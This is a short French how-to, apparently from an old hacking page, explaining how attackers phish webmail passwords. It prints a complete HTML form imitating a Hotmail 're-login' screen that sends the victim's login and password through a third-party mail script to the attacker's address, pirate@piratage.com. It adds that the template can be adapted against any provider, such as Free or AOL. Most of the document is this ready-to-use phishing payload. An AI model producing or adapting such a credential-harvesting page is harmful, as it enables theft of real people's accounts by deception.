La plupart des internautes ont les même mots de passe pour leur compte mail et leur site Web. Les pirates profitent parfois de cette faille de sécurité. Alors les pirates crééent un compte mail pas trop voyant (style : hotmail_staff@caramail.com), et envois ensuite le code html qui suit en mail, ce qui recréra l'interface de HOTMAIL et manipulera l'internaute qui reçoit le mail. L'internaute rentrera donc son login et son mot de passe et tout cela sera immédiatement expédié au pirate auteur du mail. (En rouge se trouve l'adresse e-mail du pirate)
Code source html :
<html><head></head>
<body bgcolor="#ffffff" link="#000099" vlink="#000099">
<table border=0 cellpadding=5 cellspacing=5 width=508 height=90%>
<tr valign=middle><th colspan=2>
<font face="Arial, Helvetica" size="5">We're Sorry, We Cannot<br>
Process Your Request</font>
</th></tr>
<tr valign=middle><td align=center>
<font face="Arial, Helvetica" size="3">Reason: </font>
<font face="Arial, Helvetica" size="3" color="#ff0000"><b>Time expired for your account. Please
re-login.</b></font><br>
</td></tr>
<tr valign="middle"><td align="center">
<FORM METHOD="POST" NAME="hotmail"
ACTION="http://www.univox.com/cgi-bin/mail/Mail.cgi"
target="_parent">
<INPUT TYPE="hidden" NAME="recipient"
VALUE="pirate@piratage.com">
<INPUT TYPE="hidden" NAME="subject" VALUE="Hotmail Password">
<INPUT TYPE="hidden" NAME="return_link_url"
VALUE="http://www.hotmail.com/cgi-bin/start/">
<table cellpadding="0" cellspacing="5" border="0">
<tr><td><font face="Arial, Helvetica" size="2">Login
Name:</font><br><input
type="text" name="login" size="16" maxlength="16"></td><td><font
face="Arial,
Helvetica" size="2">Password:</font><br><input type="password"
name="passwd"
size="16" maxlength="16"> <input type="submit"
value="Enter"></td><tr>
</table></FORM></td></tr>
<tr valign=middle><th colspan=2 align=center>
<font face="Arial, Helvetica" size="3">Return to <a
href="http://www.hotmail.com"
target="_parent">Hotmail's Homepage</a>.
</font></th></tr></table>
<font size=2 color=black>1996-1999. Hotmail© all rights reserved.</font>
Bien sûr ce code source peut être remanié et ainsi un pirate peut essayer d'obtenir les mots de passe de n'importe quel internaute, qu'il soit sur Free, AOL, etc... Cette astuce toute simple doit être retouchée car à ce jour Hotmail à pris les mesures nécessaires pour contrer cette manipulation du code source, mais gageons qu'un pirate ayant quelques connaissances en html n'aura pas de problème pour réitérer ce type de piratage. |
